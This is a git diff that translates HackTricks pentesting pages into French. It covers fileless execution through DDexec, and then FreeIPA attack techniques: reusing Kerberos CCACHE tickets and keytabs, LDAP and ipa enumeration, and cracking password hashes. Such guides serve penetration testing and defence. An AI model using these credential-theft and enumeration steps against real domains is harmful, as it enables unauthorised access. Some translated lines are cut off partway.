nous obtiendrons une erreur d'E/S. -This problems have solutions that, although they are not perfect, are good: +Ces problèmes ont des solutions qui, bien qu'elles ne soient pas parfaites, sont bonnes : -* Most shell interpreters allow the creation of file descriptors that will then be inherited by child processes. We can create a fd pointing to the `mem` file of the sell with write permissions... so child processes that use that fd will be able to modify the shell's memory. -* ASLR isn't even a problem, we can check the shell's `maps` file or any other from the procfs in order to gain information about the address space of the process. -* So we need to `lseek()` over the file. From the shell this cannot be done unless using the infamous `dd`. +* La plupart des interpréteurs de shell permettent la création de descripteurs de fichiers qui seront ensuite hérités par les processus enfants. Nous pouvons créer un fd pointant vers le fichier `mem` de la coquille avec des autorisations d'écriture... ainsi, les processus enfants qui utilisent ce fd pourront modifier la mémoire de la coquille. +* ASLR n'est même pas un problème, nous pouvons vérifier le fichier `maps` de la coquille ou tout autre fichier du procfs afin d'obtenir des informations sur l'espace d'adressage du processus. +* Nous devons donc utiliser `lseek()` sur le fichier. Depuis la coquille, cela ne peut être fait qu'en utilisant le tristement célèbre `dd`. -### In more detail +### En détail -The steps are relatively easy and do not require any kind of expertise to understand them: +Les étapes sont relativement faciles et ne nécessitent aucune expertise particulière pour les comprendre : -* Parse the binary we want to run and the loader to find out what mappings they need. Then craft a "shell"code that will perform, broadly speaking, the same steps that the kernel does upon each call to `execve()`: - * Create said mappings. - * Read the binaries into them. - * Set up permissions. - * Finally initialize the stack with the arguments for the program and place the auxiliary vector (needed by the loader). - * Jump into the loader and let it do the rest (load libraries needed by the program). -* Obtain from the `syscall` file the address to which the process will return after the syscall it is executing. -* Overwrite that place, which will be executable, with our shellcode (through `mem` we can modify unwritable pages). -* Pass the program we want to run to the stdin of the process (will be `read()` by said "shell"code). -* At this point it is up to the loader to load the necessary libraries for our program and jump into it. +* Analysez le binaire que nous voulons exécuter et le chargeur pour savoir quelles correspondances ils ont besoin. Ensuite, créez un "shell"code qui effectuera, en gros, les mêmes étapes que le noyau lors de chaque appel à `execve()` : + * Créer les correspondances susmentionnées. + * Lire les binaires dans ces correspondances. + * Configurer les autorisations. + * Enfin, initialiser la pile avec les arguments pour le programme et placer le vecteur auxiliaire (nécessaire pour le chargeur). + * Sauter dans le chargeur et laissez-le faire le reste (charger les bibliothèques nécessaires au programme). +* Obtenez à partir du fichier `syscall` l'adresse à laquelle le processus retournera après l'appel système qu'il exécute. +* Écrasez cet endroit, qui sera exécutable, avec notre shellcode (à travers `mem` nous pouvons modifier les pages non inscriptibles). +* Passez le programme que nous voulons exécuter à l'entrée standard du processus (sera `read()` par ledit "shell"code). +* À ce stade, il appartient au chargeur de charger les bibliothèques nécessaires à notre programme et de sauter dedans. -**Check out the tool in** [**https://github.com/arget13/DDexec**](https://github.com/arget13/DDexec) +**Consultez l'outil dans** [**https://github.com/arget13/DDexec**](https://github.com/arget13/DDexec)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **Partagez vos astuces de piratage en soumettant des PR au repo [hacktricks](https://github.com/carlospolop/hacktricks) et [hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
diff --git a/linux-hardening/freeipa-pentesting.md b/linux-hardening/freeipa-pentesting.md index 46a1e73ed..36373b796 100644 --- a/linux-hardening/freeipa-pentesting.md +++ b/linux-hardening/freeipa-pentesting.md @@ -4,120 +4,113 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). -This info was taken from the posts: +Ces informations ont été prises à partir des publications suivantes : * [https://posts.specterops.io/attacking-freeipa-part-i-authentication-77e73d837d6a](https://posts.specterops.io/attacking-freeipa-part-i-authentication-77e73d837d6a) * [https://posts.specterops.io/attacking-freeipa-part-ii-enumeration-ad27224371e1](https://posts.specterops.io/attacking-freeipa-part-ii-enumeration-ad27224371e1) * [https://www.youtube.com/watch?v=9dOu-7BTwPQ\&feature=youtu.be](https://www.youtube.com/watch?v=9dOu-7BTwPQ\&feature=youtu.be) -## Basic Information +## Informations de base -It is an open source **alternative** to Microsoft Windows **Active** **Directory**, primarily used as an integrated management solution for **Unix** environments. Similar to Active Directory, FreeIPA implements a full **LDAP directory** infrastructure backed by an MIT **Kerberos** Key Distribution Center. It uses the Dogtag **Certificate System** for CA & RA certificate management, giving it the ability to handle **multi-factor** authentication, including smartcards. SSSD is used to integrate FreeIPA into the standard Unix authentication process. +Il s'agit d'une **alternative** open source à Microsoft Windows **Active Directory**, principalement utilisée comme solution de gestion intégrée pour les environnements **Unix**. Tout comme Active Directory, FreeIPA implémente une infrastructure de **répertoire LDAP** complète soutenue par un centre de distribution de clés MIT **Kerberos**. Il utilise le système de certificats Dogtag pour la gestion des certificats CA & RA, ce qui lui permet de gérer l'authentification **multi-facteurs**, y compris les cartes à puce. SSSD est utilisé pour intégrer FreeIPA dans le processus d'authentification Unix standard. -## Fingerprints +## Empreintes digitales -### Files & Env Vars +### Fichiers et variables d'environnement -* **`/etc/krb5.conf`:** The `krb5.conf` file contains the Kerberos client information required to be **enrolled in the domain**. This includes the **locations of KDCs and admin** servers for the Kerberos realms of interest, defaults for the current realm and for Kerberos applications, and mappings of hostnames onto Kerberos realms. -* **`/etc/ipa/default.conf`:** This is the **default configuration file for IPA servers**, it is used to set system-wide defaults to be applied when running IPA clients and servers. -* **`/etc/krb5.keytab`:** The `krb5.keytab` file is **required** on all hosts inside of the **domain**. It is required as part of the **authentication** process to the KDC. -* **`KRB5CCNAME`:** If set, this variable points to the **location of the CCACHE Ticket** to be used for authentication. -* **`KRB5_KTNAME`:** If set, this variable points to the **location** of the **Keytab** file to be used for authentication. -* **`KRB5_CONFIG`:** If set, this variable points to the **location** of the **Kerberos configuration** file. -* **`KRB5_KDC_PROFILE`:** If set, this variable points to the **location of the KDC configuration** file, which contains additional configuration directives for the Key Distribution Center daemon. -* **`KRB5RCACHETYPE`:** This variable specifies the **default type of replay cache** to use for servers. -* **`KRB5RCACHEDIR`:** This variable specifies the **default directory for replay caches** used by servers. -* **`KRB5_TRACE`:** This variable specifies a **filename to write trace log output to**. Trace logs can help illuminate decisions made internally by the Kerberos libraries. -* **`KRB5_CLIENT_KTNAME`:** This variable sets the **default client keytab** file name. -* **`KPROP_PORT`:** This variable sets the **default port for kprop** to use. +* **`/etc/krb5.conf` :** Le fichier `krb5.conf` contient les informations du client Kerberos requises pour être **inscrit dans le domaine**. Cela inclut les **emplacements des KDC et des serveurs d'administration** pour les royaumes Kerberos d'intérêt, les valeurs par défaut pour le royaume actuel et pour les applications Kerberos, et les mappages des noms d'hôtes sur les royaumes Kerberos. +* **`/etc/ipa/default.conf` :** Il s'agit du **fichier de configuration par défaut pour les serveurs IPA**, il est utilisé pour définir les valeurs par défaut à appliquer lors de l'exécution des clients et des serveurs IPA. +* **`/etc/krb5.keytab` :** Le fichier `krb5.keytab` est **obligatoire** sur tous les hôtes à l'intérieur du **domaine**. Il est requis dans le cadre du processus d'**authentification** au KDC. +* **`KRB5CCNAME` :** S'il est défini, cette variable pointe vers l'**emplacement du fichier CCACHE Ticket** à utiliser pour l'authentification. +* **`KRB5_KTNAME` :** S'il est défini, cette variable pointe vers l'**emplacement** du **fichier Keytab** à utiliser pour l'authentification. +* **`KRB5_CONFIG` :** S'il est défini, cette variable pointe vers l'**emplacement** du **fichier de configuration Kerberos**. +* **`KRB5_KDC_PROFILE` :** S'il est défini, cette variable pointe vers l'**emplacement de la configuration KDC**, qui contient des directives de configuration supplémentaires pour le démon Key Distribution Center. +* **`KRB5RCACHETYPE` :** Cette variable spécifie le **type par défaut de cache de rejeu** à utiliser pour les serveurs. +* **`KRB5RCACHEDIR` :** Cette variable spécifie le **répertoire par défaut pour les caches de rejeu** utilisés par les serveurs. +* **`KRB5_TRACE` :** Cette variable spécifie un **nom de fichier pour écrire la sortie de journal de trace**. Les journaux de trace peuvent aider à éclairer les décisions prises en interne par les bibliothèques Kerberos. +* **`KRB5_CLIENT_KTNAME` :** Cette variable définit le **nom de fichier par défaut du client keytab**. +* **`KPROP_PORT` :** Cette variable définit le **port par défaut pour kprop** à utiliser. -### Binaries +### Binaires -* **ipa:** This binary is the standard for **managing a FreeIPA domain**. It can be used to manage hosts, users, sudo rules, and much more. -* **kdestroy:** The kdestroy binary is used to **destroy** any current **Kerberos** **tickets** in the users session. -* **kinit:** The kinit binary is used to **establish**, or **renew** **Kerberos tickets**. -* **klist:** The klist binary **lists** any current **Kerberos tickets in use**, and which principals the tickets provide access to. -* **kpasswd:** The kpasswd command is used to **change a Kerberos principal’s password**. kpasswd first prompts for the current Kerberos password, then prompts the user twice for the new password, and the password is changed. -* **ksu:** Ksu can be used as an **alternative to the su binary**, to switch the current **user context**. -* **kswitch:** The kswitch command will **switch** the current **credential cache in use**. -* **kvno:** The kvno binary acquires a **service ticket** for the **specified Kerberos** principals and prints out the key version numbers of each. +* **ipa :** Ce binaire est la norme pour **gérer un domaine FreeIPA**. Il peut être utilisé pour gérer des hôtes, des utilisateurs, des règles sudo, et bien plus encore. +* **kdestroy :** Le binaire kdestroy est utilisé pour **détruire** tous les **tickets Kerberos actuels** dans la session de l'utilisateur. +* **kinit :** Le binaire kinit est utilisé pour **établir** ou **renouveler** les **tickets Kerberos**. +* **klist :** Le binaire klist **liste** tous les **tickets Kerberos actuels en cours d'utilisation**, et les principaux auxquels les tickets donnent accès. +* **kpasswd :** La commande kpasswd est utilisée pour **changer le mot de passe d'un principal Kerberos**. kpasswd demande d'abord le mot de passe Kerberos actuel, puis demande deux fois à l'utilisateur le nouveau mot de passe, et le mot de passe est changé. +* **ksu :** Ksu peut être utilisé comme **alternative au binaire su**, pour basculer le **contexte utilisateur actuel**. +* **kswitch :** La commande kswitch **basculera** le **cache de crédential actuel en cours d'utilisation**. +* **kvno :** Le binaire kvno acquiert un **ticket de service** pour les **principaux Kerberos spécifiés** et affiche les numéros de version de clé de chacun. -### Network +### Réseau -This is how a FreeIPA server might look like: +Voici à quoi pourrait ressembler un serveur FreeIPA :
-## Authentication +## Authentification -Since FreeIPA uses **Kerberos for authentication**, this process is very similar to **authentication** in **Active Directory**. In order to **access** resources on the domain, a user must have a v**alid Kerberos ticket** for that resource. These tickets can be stored in a number of different locations based on the configuration of the FreeIPA domain. +Étant donné que FreeIPA utilise **Kerberos pour l'authentification**, ce processus est très similaire à l'**authentification** dans **Active Directory**. Pour **accéder** aux ressources du domaine, un utilisateur doit avoir un **ticket Kerberos valide** pour cette ressource. Ces tickets peuvent être stockés dans un certain nombre d'emplacements différents en fonction de la configuration du domaine FreeIPA. -### **CCACHE Ticket Files** +### Fichiers de tickets CCACHE -When tickets are set to be **stored** as a **file** on **disk**, the standard format and type is a **CCACHE** file. This is a simple binary file format to store Kerberos credentials. These files are typically stored in **`/tmp`** and scoped with **600** permissions. From an attackers perspective this is important for the following reasons: - -1. Valid tickets can be **utilized to authenticate**, **without** the need of the respective users plaintext **password**. -2. **CCACHE** tickets are highly **portable**. They can be downloaded and loaded onto another host without the need to renew, or validate the ticket. - -**Parsing** a CCACHE Ticket is easily accomplished a number of different ways. The simplest method is parsing it with the klist binary. +Lorsque les tickets sont définis pour être **stockés** sous forme de **fichier** sur **disque**, le format et le type standard est un fichier **CCACHE**. Il s'agit d'un format de fichier binaire simple pour stocker les informations d'identification Kerberos. Ces fichiers sont généralement stockés dans **`/tmp`** et sont limités par des permissions **600**. Du point de vue d'un attaquant, cela est important pour les raisons suivantes : +1. Les tickets valides peuvent être **utilisés pour l'authentification**, **sans** avoir besoin du **mot de passe** en texte clair des utilisateurs respectifs. +2. Les tickets **CCACHE** sont hautement **portables**. Ils peuvent être télécharg ``` klist /tmp/krb5cc_0 ``` -
-For an attacker re-using a CCACHE Ticket is very easy. To **re-use** a valid CCACHE Ticket, **export** **KRB5CCNAME** to the **path** of the valid ticket file. The system should recognize the environment variable and will attempt to use that credential material when interacting with the domain. - +Pour un attaquant, il est très facile de **réutiliser** un ticket CCACHE valide. Pour **réutiliser** un ticket CCACHE valide, **exportez** **KRB5CCNAME** vers le **chemin** du fichier de ticket valide. Le système devrait reconnaître la variable d'environnement et tentera d'utiliser ce matériel d'identification lors de l'interaction avec le domaine. ```bash export KRB5CCNAME=/tmp/krb5cc_0 klist ``` -
### **Unix Keyring** -CCACHE Tickets \*\*\*\* can also be **stored** in \*\*\*\* the Linux **keyring**. The keyring lives inside of the **kernel**, and gives administrators **more control over the retrieval and use of stored tickets**. Tickets can be scoped in the following different ways: +Les tickets CCACHE peuvent également être **stockés** dans le **keyring** Linux. Le keyring vit à l'intérieur du **noyau** et donne aux administrateurs **plus de contrôle sur la récupération et l'utilisation des tickets stockés**. Les tickets peuvent être délimités de différentes manières : -* **`KEYRING:name`:** Tickets are scoped to a specific named Keyring. -* **`KEYRING:process:name`:** Tickets are scoped to a specific process id. -* **`KEYRING:thread:name`:** Tickets are scoped to a specific thread. -* **`KEYRING:session:name`:** Tickets are scoped to a specific user session. -* **`KEYRING:persistent:uidnumber`:** Tickets are scoped to a specific user regardless of session (default). +* **`KEYRING:name` :** Les tickets sont délimités à un keyring nommé spécifique. +* **`KEYRING:process:name` :** Les tickets sont délimités à un identifiant de processus spécifique. +* **`KEYRING:thread:name` :** Les tickets sont délimités à un thread spécifique. +* **`KEYRING:session:name` :** Les tickets sont délimités à une session utilisateur spécifique. +* **`KEYRING:persistent:uidnumber` :** Les tickets sont délimités à un utilisateur spécifique indépendamment de la session (par défaut). -Depending on how the administrator scoped the ticket stored inside of the Unix keyring, parsing it out may be difficult. However, the **default** **scope** for CCACHE Tickets in the Unix keyring is **`KEYRING:persistent:uidnumber`**. Fortunately if you are in the **context** of the **user**, `klist` can **parse** this information for us. +Selon la manière dont l'administrateur a délimité le ticket stocké dans le keyring Unix, son analyse peut être difficile. Cependant, la **portée** **par défaut** pour les tickets CCACHE dans le keyring Unix est **`KEYRING:persistent:uidnumber`**. Heureusement, si vous êtes dans le **contexte** de l'**utilisateur**, `klist` peut **analyser** ces informations pour nous.
-As an attacker, **re-using a CCACHE** Ticket stored in the Unix **keyring** is fairly **difficult** depending on how the ticket is scoped. Fortunately [@Zer1t0](https://github.com/Zer1t0) from [@Tarlogic](https://twitter.com/Tarlogic) has built a tool that can extract Kerberos tickets from the Unix keyring. The tool is called **Tickey** and can be found [**here**](https://github.com/TarlogicSecurity/tickey). +En tant qu'attaquant, **réutiliser un ticket CCACHE** stocké dans le **keyring** Unix est assez **difficile** selon la manière dont le ticket est délimité. Heureusement, [@Zer1t0](https://github.com/Zer1t0) de [@Tarlogic](https://twitter.com/Tarlogic) a créé un outil qui peut extraire les tickets Kerberos du keyring Unix. L'outil s'appelle **Tickey** et peut être trouvé [**ici**](https://github.com/TarlogicSecurity/tickey).
### Keytab {% hint style="warning" %} -usually, each host is deployed with a keytab credential for that host that can be used to obtain a valid Credential Cache(CCACHE) Ticket Granting Ticket(TGT) for the host itself. +Généralement, chaque hôte est déployé avec une clé d'identification keytab pour cet hôte qui peut être utilisée pour obtenir un ticket de validation de ticket (TGT) de cache de crédential valide pour l'hôte lui-même. {% endhint %} -It consists of pairs of **Kerberos principals and encrypted keys** that are derived from the Kerberos password associated with the principal. Since these keys are derived from the principal’s password, if that **password changes the keytab will be invalidated**. +Il se compose de paires de **principaux Kerberos et de clés chiffrées** qui sont dérivées du mot de passe Kerberos associé au principal. Étant donné que ces clés sont dérivées du mot de passe du principal, si ce **mot de passe change, la keytab sera invalidée**. -Keytab files can be used to **obtain a valid ticket granting ticket** (TGT) for the principal it is scoped to. This authentication process **does not require the password**, as it contains keys derived from the password. +Les fichiers Keytab peuvent être utilisés pour **obtenir un ticket de validation de ticket** (TGT) pour le principal auquel il est délimité. Ce processus d'authentification **ne nécessite pas le mot de passe**, car il contient des clés dérivées du mot de passe. -Parsing a Keytab file is very easy, and can be accomplished a few ways. The easiest way to **parse** a **keytab** file is with **klist**. The second way utilizes a great python utility that [Cody Thomas](https://medium.com/u/645ffcef8682?source=post\_page-----77e73d837d6a--------------------------------) has created. His \*\*\*\* [**KeytabParser**](https://github.com/its-a-feature/KeytabParser) \*\*\*\* project will parse out the principal and its relevant encrypted keys. +L'analyse d'un fichier Keytab est très facile et peut être accomplie de quelques manières. La manière la plus facile de **décoder** un fichier **keytab** est avec **klist**. La deuxième méthode utilise un excellent utilitaire Python que [Cody Thomas](https://medium.com/u/645ffcef8682?source=post\_page-----77e73d837d6a--------------------------------) a créé. Son projet \*\*\*\* [**KeytabParser**](https://github.com/its-a-feature/KeytabParser) \*\*\*\* analysera le principal et ses clés chiffrées pertinentes.
-Attackers can **re-use credentials stored in keytab files by generating a CCACHE Ticket** through the kinit binary. - +Les attaquants peuvent **réutiliser les crédentials stockées dans les fichiers keytab en générant un ticket CCACHE** via le binaire kinit. ```powershell # Parse keytab klist -k /rtc/krb5.keytab @@ -125,37 +118,33 @@ klist -k /rtc/krb5.keytab # Get TGT kinit -kt /etc/krb5.keytab host/bastion.westeros.local@WESTEROS.LOCAL ``` -
-### Cheatsheet +### Fiche de triche -You can find more information about how to use tickets in linux in the following link: +Vous pouvez trouver plus d'informations sur la façon d'utiliser les tickets dans Linux en suivant le lien suivant: {% content-ref url="privilege-escalation/linux-active-directory.md" %} [linux-active-directory.md](privilege-escalation/linux-active-directory.md) {% endcontent-ref %} -## Enumeration +## Énumération {% hint style="warning" %} -You could perform the **enumeration** via **ldap** and other **binary** tools, or **connecting to the web page in the port 443 of the FreeIPA server**. +Vous pouvez effectuer l'**énumération** via **ldap** et d'autres outils **binaires**, ou en **se connectant à la page web sur le port 443 du serveur FreeIPA**. {% endhint %}
-### Hosts, Users, and Groups +### Hôtes, Utilisateurs et Groupes -It's possible to create **hosts**, **users** and **groups**. Hosts and users are sorted into containers called “**Host Groups**” and “**User Groups**” respectively. These are similar to **Organizational Units** (OU). - -By default in FreeIPA, the LDAP server allows for **anonymous binds**, and a large swath of data is enumerable **unauthenticated**. This can enumerate all data available unauthenticated: +Il est possible de créer des **hôtes**, des **utilisateurs** et des **groupes**. Les hôtes et les utilisateurs sont triés dans des conteneurs appelés «**Groupes d'hôtes**» et «**Groupes d'utilisateurs**» respectivement. Ceux-ci sont similaires aux **Unités organisationnelles** (OU). +Par défaut dans FreeIPA, le serveur LDAP permet les **liens anonymes**, et une grande quantité de données est énumérable **non authentifiée**. Cela peut énumérer toutes les données disponibles non authentifiées: ``` ldapsearch -x ``` - -To get **more information** you need to use an **authenticated** session (check the Authentication section to learn how to prepare an authenticated session). - +Pour obtenir **plus d'informations**, vous devez utiliser une session **authentifiée** (consultez la section Authentification pour apprendre comment préparer une session authentifiée). ```bash # Get all users of domain ldapsearch -Y gssapi -b "cn=users,cn=compat,dc=domain_name,dc=local" @@ -169,9 +158,7 @@ ldapsearch -Y gssapi -b "cn=computers,cn=accounts,dc=domain_name,dc=local" # Get hosts groups ldapsearch -Y gssapi -b "cn=hostgroups,cn=accounts,dc=domain_name,dc=local" ``` - -From a domain joined machine you will be able to use **installed binaries** to enumerate the domain: - +À partir d'une machine jointe à un domaine, vous pourrez utiliser les **binaires installés** pour énumérer le domaine : ```bash ipa user-find ipa usergroup-find @@ -185,36 +172,34 @@ ipa usergroup-show --all ipa host-find --all ipa hostgroup-show --all ``` - {% hint style="info" %} -The **admin** user of **FreeIPA** is the equivalent to **domain admins** from **AD**. +L'utilisateur **admin** de **FreeIPA** est l'équivalent des administrateurs de domaine d'**AD**. {% endhint %} ### Hashes -The **root** user from the **IPA serve**r has access to the password **hashes**. +L'utilisateur **root** du serveur **IPA** a accès aux **hashes** de mots de passe. -* The password hash of a user is stored as **base64** in the “**userPassword**” **attribute**. This hash might be **SSHA512** (old versions of FreeIPA) or **PBKDF2\_SHA256**. -* The **Nthash** of the password store as **base64** in “**ipaNTHash**” if system has **integration** with **AD**. +* Le hash de mot de passe d'un utilisateur est stocké en **base64** dans l'**attribut** "userPassword". Ce hash peut être **SSHA512** (anciennes versions de FreeIPA) ou **PBKDF2\_SHA256**. +* Le **Nthash** du mot de passe est stocké en **base64** dans "ipaNTHash" si le système est **intégré** à **AD**. -To crack these hashes: +Pour casser ces hashes : -• If freeIPA integrated with AD, **ipaNTHash** is easy to crack: You should **decode** **base64** -> re-encoded it as **ASCII** hex -> John The Ripper or **hashcat** can help you to crack it fast +• Si FreeIPA est intégré à AD, **ipaNTHash** est facile à casser : vous devez **décoder** **base64** -> le réencoder en **hexadécimal ASCII** -> John The Ripper ou **hashcat** peuvent vous aider à le casser rapidement. -• If an old version of FreeIPA is used, so **SSHA512** is used: You should decode **base64** -> find SSHA512 **hash** -> John The Ripper or **hashcat** can help you to crack it +• Si une ancienne version de FreeIPA est utilisée, **SSHA512** est utilisé : vous devez décoder **base64** -> trouver le **hash SSHA512** -> John The Ripper ou **hashcat** peuvent vous aider à le casser. -• If new version of FreeIPA is used, so **PBKDF2\_SHA256** is used: You should decode **base64** -> find PBKDF2\_SHA256 -> it’s **length** is 256 byte. John can work with 256 bits (32 byte) -> SHA-265 used as the pseudo-random function, block size is 32 byte -> you can use only first 256 bit of our PBKDF2\_SHA256 hash -> John The Ripper or hashcat can help you to crack it +• Si une nouvelle version de FreeIPA est utilisée, **PBKDF2\_SHA256** est utilisé : vous devez décoder **base64** -> trouver **PBKDF2\_SHA256** -> sa **longueur** est de 256 octets. John peut travailler avec 256 bits (32 octets) -> SHA-265 est utilisé comme fonction pseudo-aléatoire, la taille de bloc est de 32 octets -> vous pouvez utiliser uniquement les premiers 256 bits de notre hash PBKDF2\_SHA256 -> John The Ripper ou hashcat peuvent vous aider à le casser.
-To extract the hashes you need to be **root in the FreeIPA server**, there you can use the tool **`dbscan`** to extract them: +Pour extraire les hashes, vous devez être **root dans le serveur FreeIPA**, là vous pouvez utiliser l'outil **`dbscan`** pour les extraire :
-### HBAC-Rules - -There are the rules that grant specific permissions to users or hosts over resources (hosts, services, service groups...) +### Règles HBAC +Ce sont les règles qui accordent des autorisations spécifiques aux utilisateurs ou aux hôtes sur les ressources (hôtes, services, groupes de services...). ```bash # Enumerate using ldap ldapsearch -Y gssapi -b "cn=hbac,dc=domain_name,dc=local" @@ -223,11 +208,9 @@ ipa hbacrule-find # Show info of rule ipa hbacrule-show --all ``` +#### Règles Sudo -#### Sudo-Rules - -FreeIPA provides the ability to **manage sudo permissions** from one **centralized** source through sudo-rules. These rulesets can be used to restrict or delegate the ability to **execute commands as sudo** on hosts enrolled in the domain. As an attacker we can enumerate which hosts and users these rulesets are applied too, and which commands are allowed through the ruleset. - +FreeIPA permet de **gérer les permissions sudo** à partir d'une source **centralisée** grâce aux règles sudo. Ces ensembles de règles peuvent être utilisés pour restreindre ou déléguer la capacité à **exécuter des commandes en tant que sudo** sur les hôtes inscrits dans le domaine. En tant qu'attaquant, nous pouvons énumérer les hôtes et les utilisateurs auxquels ces ensembles de règles sont appliqués, ainsi que les commandes autorisées par l'ensemble de règles. ```bash # Enumerate using ldap ldapsearch -Y gssapi -b "cn=sudorules,cn=sudo,dc=domain_name,dc=local" @@ -236,25 +219,23 @@ ipa sudorule-find # Show info of rule ipa sudorule-show --all ``` +### Contrôle d'accès basé sur les rôles -### Role-Based Access Control - -Each **role** contains a set of **privileges**, and those respective privileges contain a **set** of **permissions**. Roles can be **applied to Users**, User **Groups**, **Hosts**, Host Groups, and Services. To illustrate this concept let’s discuss the default “User Administrator” role in FreeIPA. +Chaque **rôle** contient un ensemble de **privilèges**, et ces privilèges respectifs contiennent un **ensemble de permissions**. Les rôles peuvent être **appliqués aux utilisateurs**, aux **groupes d'utilisateurs**, aux **hôtes**, aux groupes d'hôtes et aux services. Pour illustrer ce concept, discutons du rôle par défaut "Administrateur d'utilisateurs" dans FreeIPA.
-As the screenshot above shows the “User Administrator” role contains the following privileges: +Comme le montre la capture d'écran ci-dessus, le rôle "Administrateur d'utilisateurs" contient les privilèges suivants : -* **User Administrators** -* **Group Administrators** -* **Stage User Administrators** +* **Administrateurs d'utilisateurs** +* **Administrateurs de groupes** +* **Administrateurs d'utilisateurs de la scène** -We can drill down further and enumerate the **permissions** delegated to each **privilege**: +Nous pouvons aller plus loin et énumérer les **permissions** déléguées à chaque **privilège** :
-As we can see the “**User Administrator**” role contains quite **a lot of permissions** inside of the environment. Understanding the general concept and structure of **roles**, **privileges**, and **permissions** can be critical to identifying attack paths throughout an environment. - +Comme nous pouvons le voir, le rôle "Administrateur d'utilisateurs" contient un **grand nombre de permissions** à l'intérieur de l'environnement. Comprendre le concept général et la structure des **rôles**, des **privilèges** et des **permissions** peut être crucial pour identifier les chemins d'attaque dans tout l'environnement. ```bash # Using ldap ldapsearch -Y gssapi -b "cn=roles,cn=accounts,dc=westeros,dc=local" @@ -266,10 +247,9 @@ ipa privilege-show --all ipa permission-find ipa permission-show --all ``` +### Exemple de scénario d'attaque -### Attack Scenario Example - -In [https://posts.specterops.io/attacking-freeipa-part-iii-finding-a-path-677405b5b95e](https://posts.specterops.io/attacking-freeipa-part-iii-finding-a-path-677405b5b95e) you can find a simple example of how to abuse some permissions to compromise the domain. +Dans [https://posts.specterops.io/attacking-freeipa-part-iii-finding-a-path-677405b5b95e](https://posts.specterops.io/attacking-freeipa-part-iii-finding-a-path-677405b5b95e), vous pouvez trouver un exemple simple de la façon d'abuser de certaines autorisations pour compromettre le domaine. ### Linikatz @@ -277,42 +257,42 @@ In [https://posts.specterops.io/attacking-freeipa-part-iii-finding-a-path-677405 ## Privesc -### ~~root user creation~~ +### ~~Création d'un utilisateur root~~ {% hint style="warning" %} -If you can **create a new user with the name `root`**, you can impersonate him and you will be able to **SSH into any machine as root.** +Si vous pouvez **créer un nouvel utilisateur avec le nom `root`**, vous pouvez vous faire passer pour lui et vous pourrez **SSH dans n'importe quelle machine en tant que root.** -**THIS HAS BEEN PATCHED.** +**CELA 